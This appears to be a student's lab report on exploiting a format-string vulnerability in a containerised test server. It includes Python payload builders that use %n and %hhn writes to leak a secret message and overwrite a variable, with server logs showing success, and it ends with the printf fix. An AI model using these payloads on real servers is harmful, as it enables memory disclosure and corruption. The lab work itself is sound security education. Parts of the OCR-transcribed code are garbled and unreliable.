

Lab 03 Report

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Task 01 Crashing the Program

A string of "%s" will move va_list pointer to somewhere with invalid address, leading to program crash.

```
s1chengzhicheng@virtual-machine:~/Desktop/Lab03/Labsetup-arm$ sudo docker compose up
[sudo] password for s1chengzhicheng:
WARN[0008] /home/s1cheng/Desktop/Lab03/Labsetup-arm/docker-compose.yml: the attribute 'version' is obsolete, it will be ignored, please remove it to avoid potential confusion
[+] Running 2/0
  ✓ Container server-10.9.0.5 Created
  ✓ Container server-10.9.0.6 Created
Attaching to server-10.9.0.5, server-10.9.0.6
server-10.9.0.5
  Got a connection from 10.9.0.5
server-10.9.0.5
  The input buffer's address: 0x0000fffffe58
server-10.9.0.5
  The secret message's address: 0x000000000458248
server-10.9.0.5
  Waiting for user input .....
server-10.9.0.5
  Received: 27 bytes
server-10.9.0.5
  Frame Pointer (Inside myprintf): 0x0000fffffe70
server-10.9.0.5
  The target variable's value (before): 0x1122334455667788

```

Crashing the Program

Task 02 Printing Out the Server Program's Memory

2A Stack Data

I need 36 %x to print out the first four bytes of my input.

```
File Edit Selection View Go Run Terminal Help
format.c - Lab03 - Visual Studio Code
9月 24 22:58 ⓘ
format.c | c_server.c | build_string.py | exploit.py
Labsetup-arm > server-code > C format.c: ② main(int, char **)
14 #endif
15
PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL PORTS
server-10.9.0.5 | (^_-)(^_-) Returned properly (^_-)(^_-)
server-10.9.0.5 | Got a connection from 10.9.0.5
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address: 0x0000fffffe58
server-10.9.0.5 | The secret message's address: 0x000000000458248
server-10.9.0.5 | The target variable's address: 0x000000000492048
server-10.9.0.5 | Waiting for user input .....
server-10.9.0.5 | Received 139 bytes.
server-10.9.0.5 | Frame Pointer (Inside myprintf): 0x0000fffffe70
server-10.9.0.5 | The target variable's value (before): 0x1122334455667788
788
server-10.9.0.5 | (^_-)(^_-) Returned properly (^_-)(^_-)
server-10.9.0.5 | Got a connection from 10.9.0.5
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address: 0x0000fffffe58
server-10.9.0.5 | The secret message's address: 0x000000000458248
server-10.9.0.5 | The target variable's address: 0x000000000492048
server-10.9.0.5 | Waiting for user input .....
server-10.9.0.5 | Received 139 bytes.
server-10.9.0.5 | Frame Pointer (Inside myprintf): 0x0000fffffe70
server-10.9.0.5 | The target variable's value (before): 0x1122334455667788
788
server-10.9.0.5 | (^_-)(^_-) Returned properly (^_-)(^_-)
server-10.9.0.5 | Got a connection from 10.9.0.5
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address: 0x0000fffffe58
server-10.9.0.5 | The secret message's address: 0x000000000458248
server-10.9.0.5 | The target variable's address: 0x000000000492048
server-10.9.0.5 | Waiting for user input .....
server-10.9.0.5 | Received 139 bytes.
server-10.9.0.5 | Frame Pointer (Inside myprintf): 0x0000fffffe70
server-10.9.0.5 | The target variable's value (before): 0x1122334455667788
788
server-10.9.0.5 | (^_-)(^_-) Returned properly (^_-)(^_-)
server-10.9.0.5 | Got a connection from 10.9.0.5
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address: 0x0000fffffe58
server-10.9.0.5 | The secret message's address: 0x000000000458248
server-10.9.0.5 | The target variable's address: 0x000000000492048
server-10.9.0.5 | Waiting for user input .....
server-10.9.0.5 | Received 139 bytes.
server-10.9.0.5 | Frame Pointer (Inside myprintf): 0x0000fffffe70
server-10.9.0.5 | The target variable's value (before): 0x1122334455667788
788
server-10.9.0.5 | (^_-)(^_-) Returned properly (^_-)(^_-)
```

Stack Data

2B Heap Data

At first I was trying to construct an input string with secret message address at the beginning, followed with several "%x" and a "%s" to move va_list to the correct place then print the message out as a string. However, as a Mac user, I can only use 64 bit system and my target

address is 0x0000000000458248. As stated in Task 5, when printf() parses the format string, it will stop the parsing when it sees a zero, so I have to use `\$` to move the pointer. Here is my code to generate the bad file and the final result.

The terminal window shows the following code in `my_build.py`:

```
#!/usr/bin/python3
import sys
# Initialize the content array
N = 1500
content = bytearray(0x0 for i in range(N))
# s = "%x"*8
s = "%38$.16x"
fmt = (s).encode('latin-1')
content[0:0+len(fmt)] = fmt
# This line shows how to store a 4-byte integer at offset 0
number = 0x0000000000458248
content[0+len(fmt):8+Len(fmt)] = (number).to_bytes(8,byteorder='little')
# content[0:8] = (number).to_bytes(8,byteorder='little')
```

Below the code, the terminal output shows the server's log:

```
server-10.9.0.5 | Got a connection from 10.9.0.6
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address: 0x0000ffffffffff468
server-10.9.0.5 | The secret message's address: 0x0000000000458248
server-10.9.0.5 | The target variable's address: 0x0000000000492048
server-10.9.0.5 | Waiting for user input .....
server-10.9.0.5 | Received 1500 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf): 0x0000fffffffff380
server-10.9.0.5 | The target variable's value (before): 0x1122334455667788
server-10.9.0.5 | A secret messageH0EThe target variable's value (after): 0x1122334455667788
server-10.9.0.5 | (^_^)(^_^) Returned properly (^_~)(^_~)
```

Heap Data Result

Task 03 Modifying the Server Program's Memory

3A Change the value to a different value

First use `s = "%38$.16x"` to print out the address, then change the “x” into “n” to modify the content in this piece of memory. Because this “s” is put at the beginning and so far no character has been output, the last four bytes of the target value are changed into 0.

```

File Edit Selection View Go Run Terminal Help
Labsetup-arm > attack-code > my_build.py > ...
1 #!/usr/bin/python3
2 import sys
3
4 # Initialize the content array
5 N = 1500
6 content = bytearray(0x0 for i in range(N))
7
8 s = "%38$.16n"
9 fmt = (s).encode('latin-1')
10 content[0:0+len(fmt)] = fmt
11
12 # This line shows how to store a 4-byte integer at offset 0
13 number = 0x000000000492048
14 content[0+len(fmt):8+len(fmt)] = (number).to_bytes(8,byteorder='little')
15 # content[0:8] = (number).to_bytes(8,byteorder='little')
16

```

3A Code

```

server-10.9.0.5 | Got a connection from 10.9.0.6
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address: 0x0000ffffffffff468
server-10.9.0.5 | The secret message's address: 0x0000000000458248
server-10.9.0.5 | The target variable's address: 0x0000000000492048
server-10.9.0.5 | Waiting for user input .....
server-10.9.0.5 | Received 1500 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf): 0x0000ffffffffff380
server-10.9.0.5 | The target variable's value (before): 0x1122334455667788
server-10.9.0.5 | H IThe target variable's value (after): 0x1122334400000000
server-10.9.0.5 | (^_^)(^_) Returned properly (^_)(^_)

```

3A Result

3B Change the value to 0x5000

1. "%47\$.16n" + "%48\$.16n" make the target value = 0;
2. "...%.77x.." print out 80 characters;
3. "%51\$.16n" set that address to 50.

```

File Edit Selection View Go Run Terminal Help
Labsetup-arm > attack-code > my_build.py > ...
3
4 # Initialize the content array
5 N = 1500
6 content = bytearray(0x0 for i in range(N))
7
8 # 0xaa = 178, 0xbb = 187, 0xcc = 204, 0xdd = 221
9 s = "%47$.16n" + "%48$.16n" + "...%.77x.." + "%51$.16n" + "%14x.." + "%49$.16n" + "%14x.." + "%51$.16n" + "%14x.." + "%47$.16n"
10 fmt = (s).encode('latin-1')
11 content[0:0+len(fmt)] = fmt
12
13 # This line shows how to store a 4-byte integer at offset 0
14 number = 0x0000000000492048 # dd, 47
15 content[0+len(fmt):8+len(fmt)] = (number).to_bytes(8,byteorder='little')
16 number2 = 0x000000000049204c # 48
17 content[8+len(fmt):16+len(fmt)] = (number2).to_bytes(8,byteorder='little')
18 number3 = 0x000000000049204a # bb, 49
19 content[16+len(fmt):24+len(fmt)] = (number3).to_bytes(8,byteorder='little')
20 number4 = 0x000000000049204b # aa, 50
21 content[24+len(fmt):32+len(fmt)] = (number4).to_bytes(8,byteorder='little')
22 number5 = 0x0000000000492049 # cc, 51
23 content[32+len(fmt):40+len(fmt)] = (number5).to_bytes(8,byteorder='little')
24
25

```

3B Code

```

server-10.9.0.5 | (^_~)(^_~) Returned properly (^_~)(^_~)
server-10.9.0.5 | Got a connection from 10.9.0.6
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address: 0x0000fffffffff258
server-10.9.0.5 | The secret message's address: 0x0000000000458248
server-10.9.0.5 | The target variable's address: 0x0000000000492048
server-10.9.0.5 | Waiting for user input .....
server-10.9.0.5 | Received 1500 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf): 0x0000fffffffff170
server-10.9.0.5 | The target variable's value (before): 0x1122334455667788
server-10.9.0.5 | ..000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000
server-10.9.0.5 | (^_~)(^_~) The target variable's value (after):
server-10.9.0.5 | ..0000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
server-10.9.0.5 | (^_~)(^_~) Returned properly (^_~)(^_~)

```

3B Result

3C Change the value to 0xAABBCCDD

%hhn only modify one byte.

```

File Edit Selection View Go Run Terminal Help
  C format.c   C server.c   build_string.py   my_build.py <...
Labsetup-arm > attack-code > my_build.py > ...
>
4 # Initialize the content array
5 N = 1500
6 content = bytearray(0x0 for i in range(N))
7
8 # 0xaa = 170, 0xbb = 187, 0xcc = 204, 0xdd = 221
9 s = "%47$16hn" + "%48$16n" + "%168x." + "%50$16hn" + "%15x." + "%49$16hn" + "%17x" + "%51$16hn" + "%17x" + "%47$16hn"
10 fmt = (s).encode('latin-1')
11 content[0:0:len(fmt)] = fmt
12
13 # This line show how to store a 4-byte integer at offset 0
14 number = 0x0000000000492048 # dd, 4
15 content[0:len(fmt):8:len(fmt)] = (number).to_bytes(8,byteorder='little')
16 number2 = 0x000000000049204c # 48
17 content[8:len(fmt):16:len(fmt)] = (number2).to_bytes(8,byteorder='little')
18 number3 = 0x000000000049204a # bb, 49
19 content[16:len(fmt):24:len(fmt)] = (number3).to_bytes(8,byteorder='little')
20 number4 = 0x000000000049204b # aa, 50
21 content[24:len(fmt):32:len(fmt)] = (number4).to_bytes(8,byteorder='little')
22 number5 = 0x0000000000492049 # cc, 51
23 content[32:len(fmt):40:len(fmt)] = (number5).to_bytes(8,byteorder='little')
24
25
26

```

3C Code

```

server-10.9.0.5 | Got a connection from 10.9.0.6
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address: 0x0000fffffffff258
server-10.9.0.5 | The secret message's address: 0x0000000000458248
server-10.9.0.5 | The target variable's address: 0x0000000000492048
server-10.9.0.5 | Waiting for user input .....
server-10.9.0.5 | Received 1500 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf): 0x0000fffffffff170
server-10.9.0.5 | The target variable's value (before): 0x1122334455667788
server-10.9.0.5 | ..0000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
server-10.9.0.5 | (^_~)(^_~) The target variable's value (after): 0x00000000aabbccdd
server-10.9.0.5 | (^_~)(^_~) Returned properly (^_~)(^_~)

```

3C Result

Task 04 Inject Malicious Code into the Server Program

Answer Questions

Question 1: What are the memory addresses at the locations marked 2 by and 3?

4B Result2

Task 05 Attacking the 64-bit Server Program

Already finished.

Task 06 Fixing the Problem

The warning means that the string format is not a constant, and there are no parameters to format the string.

Change `printf(msg)` into `printf("%s", msg)`, then the warning disappeared.

6 Code

The attack failed.

6 Result

